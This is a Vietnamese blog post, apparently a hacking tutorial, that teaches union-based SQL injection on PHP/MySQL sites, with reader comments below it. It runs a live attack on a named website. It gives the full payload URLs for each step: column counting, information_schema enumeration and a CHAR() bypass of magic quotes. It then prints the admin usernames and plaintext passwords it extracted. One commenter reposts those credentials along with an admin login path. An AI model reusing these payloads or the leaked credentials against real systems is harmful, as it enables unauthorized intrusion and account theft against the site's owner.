Đơn giản injection tiếng việt là tiêm.Sql injection là tiêm các câu truy vấn vào.
Bài viết này mình hướng dẫn các bạn về web php,cơ sở dữ liệu phpmysql.
Sql injection chia làm 4 loại cơ bản:
- +Inband
- +Blind
- +Timebase
- +Out of band
Lý thuyết Inband -SQLi:
-Inband là phương pháp dùng hàm union để khai thác.
-Union là hàm lien kết 2 truy vấn (query)”Select….” Với nhau.
Từ version 5.0 trở đi ,mysql có thềm :
- 1 database hệ thống là information_schema
- Các tabkle hệ thống của nó là tables,columns,table chi,….
- 2 table chúng ta cần quan tâm trong information_schema là tables và columns vì 2 table này chứ tên các table và column của website trên hệ thông
Bước 1:
Kiểm tran website có bị lỗi sql không
Bước 2:
Đếm số cột dùng order by đế xác định cột
Bước 3:
Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Bước 4:
Dựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Bước 5:
Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
Thực hành
Victim:
http://www.kemlam.com
Lang thang tìm được cái link này
http://www.kemlam.com/?content=detail&proID=10
Bước 1:
Đầu tiên kiểm tra xem nó có bị lỗi sql injection không đã
Mã:
http://www.kemlam.com/?content=detail&proID=10'
$query = 'select * from sanpham where id=1';
Khi thêm dấu ' thì câu truy vấn sẽ là $query = 'select * from sanpham where id=1'';
=>Có tới 3 dấu nháy=> PHP sẽ báo syntax error hoặc hiện trang khác so với bình thường
Bước 2:Đếm số cột dùng order by đế xác định cột.Mình thử đoán số column là 13.Nên order 13 thử.
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 13 --
Thử order by 14 xem sao
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 14 --
==>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/kemlam/domains/kemlam.com/public_html/details.php on line 8
Vậy chỉ có 13 Column
Ở đây mình sử dụng dấu -- là đến loại bỏ những phần sau câu truy vấn,trong phpmysql nó dùng để ghi những comment
Bước 3:Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Đầu tiên thực hiện Union.
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 --
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13 --
Truy vấn các table cần khai thác thông qua information_schema.Tables
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,group_concat(table_name) ,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()--
Đến đây mình đoán table users là table chứa user và password admin.(Kỹ năng của mỗi người thôi)
Bước 4:Dựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,group_concat(column_name) ,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--
đến đây có bạn sẽ thắc mắc,Vì sao talbe_name=CHAR(117, 115, 101, 114, 115)-- mà không phải là table_name=users?
Đơn giản vì ở đây,trong file php.ini magic_quote đang ở chế đố on,nên ta phải đổi qua kiểu char hoặc kiểu ascii,trên đó mình chuyển sang kiểu char.
Bước 5:Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
2 column mình quan tâm là Username,Pass vì mình đoán user và password sẽ đặt ở đây.
Lấy thông tin bằng câu truy vấn đơn giản
Mã:
http://www.kemlam.com/?content=detail&proID=Null%20UNION SELECT 1,2,3,4,group_concat(Username,0x2f,Pass),6,7,8,9,10,11,12,13 from users--
=>admin/qsv50502415,kemlam/123654,dinhtuan/123654
Có user và password giờ tim link admin đăng nhập thôi.
Tuy nhiên không khuyến khích các bạn phá hoại website người khác,nếu muốn thể hiện thì up 1 file .txt rồi gửi link cho bạn bè là được rồi
Ai có thắc mắc gì cứ reply phía dưới,nếu mình biết sẽ trả lời,mới viết 1 cách mà dài quá,các kiểu tấn công khác website khác mình sẽ viết ở P2,P3....
Link download video
http://www.mediafire.com/?b99bwlnll8k66ks
Video mình làm nhanh,mục đích video là giúp các bạn quen với add on firefox Hackbar,hỗ trợ tốt trong hack Sql injection
AD ơi,AD cho xin cái link đang nhập Admin của trang kemlam.com với mình thử mọi cách mà chưa duoc, co gi ad pm vao mail gfwyys@gmail.com cũng được, mình xin cám ơn nhiều
Trả lờiXóaBạn thử dùng các tools scan nhé.
Trả lờiXóaThử phần mềm Web admin finder hoặc Acunetix Web Vulnerability Scanner.
Thân
Mình k đăng nhập được tài khoản admin
Trả lờiXóaĐã làm đúng như chỉ dẫn
Link: kemlam.com/phpmyadmin
ACc: admin/qsv50502415
Ai pro chỉ giáo với .. đang làm đồ án cần gấp :(